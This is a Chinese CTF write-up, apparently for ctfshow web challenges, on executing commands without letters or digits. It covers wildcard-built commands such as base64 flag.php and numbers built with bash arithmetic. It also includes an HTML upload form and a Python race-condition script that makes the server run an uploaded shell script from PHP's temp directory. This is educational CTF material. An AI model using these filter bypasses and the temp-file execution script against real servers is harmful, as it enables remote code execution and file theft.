写在前面
说白了数字还是好构造的,bash的算数拓展!
base64命令
这玩意说白了有点鸡肋,因为你得知道flag的文件名和位置!
base64 flag.php这个会将flag.php里面的内容给base64编码输出来。那么如何用无字母数字构造呢?
/???/?[_-{]??64 ???.??? 中间不用?是因为会匹配到两个命令
ls /???/???64 可以发现满足的会有两个
数字的构造bash拓展
$(())里面可以进行整数运算!
echo $((1+1)) #2
echo $(()) #0
0取反为-1
所以我们可以得到-1,通过$((~$(())))
如何构造64,我们可以先取反64,为-65,构造出-65然后在取反即为64!
额。。。。。前面直接加负号应该也可以。
$((~$(())))*65然后在放进$((~$(())))这里即可!tmd,这md编辑器不太好用。payload就不放了!
到web29去试试(但是有些环境不知道为啥用不了)
上传shell脚本执行临时文件
get请求
get请求不需要竞争
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>POST数据包POC</title>
</head>
<body>
<form action="http://05b99b6f-5912-4c98-90d5-2975d8726117.challenge.ctf.show/" method="post" enctype="multipart/form-data">
<!--链接是当前打开的题目链接-->
<label for="file">文件名:</label>
<input type="file" name="file" id="file"><br>
<input type="submit" name="submit" value="提交">
</form>
</body>
</html>
先上传一个表单的同时抓包,然后在读临时文件。读取文件就用?c=.%20/???/???[@-[],[@-[]也是linux的通配符表示的方法,@在A前面,[在Z后面。在最后写成大写字母主要是为了怕文件名冲突。shell脚本:#!/bin/sh(或者用其他解释器,bash,zsh) 命令
post请求
这个就需要竞争了,这里用脚本实现即可(ctfshow新系列的无字母数字命令执行就用到这个)
import requests
import concurrent.futures
url = "http://e7139a42-6102-4aa6-825e-80292bfb395b.challenge.ctf.show/"
file_content = b"#!/bin/sh\ntac flag.php"
data = {
'code': '. /???/????????[@-[]',
}
def upload_file():
files = {
'file': ('test.txt', file_content, 'text/plain')
}
try:
response = requests.post(url, files=files, timeout=5)
print(f"上传请求返回状态码: {response.status_code}")
return response
except requests.exceptions.RequestException as e:
print(f"上传请求失败: {e}")
return None
def send_post():
try:
response = requests.post(url, data=data, timeout=5)
print(f"POST 请求返回状态码: {response.status_code}")
return response
except requests.exceptions.RequestException as e:
print(f"POST 请求失败: {e}")
return None
def race_condition():
with concurrent.futures.ThreadPoolExecutor(max_workers=50) as executor:
futures = [executor.submit(upload_file) for _ in range(25)]
futures.extend([executor.submit(send_post) for _ in range(25)])
for future in concurrent.futures.as_completed(futures):
result = future.result()
if result and "flag" in result.text:
print("\n--- 成功!可能找到 Flag ---")
print(result.text)
return True
return False
print("正在尝试利用条件竞争,请稍候...")
success = False
for i in range(50):
if race_condition():
success = True
break
print(f"第 {i + 1} 轮尝试失败,继续...")
if not success:
print("\n--- 所有尝试均失败 ---")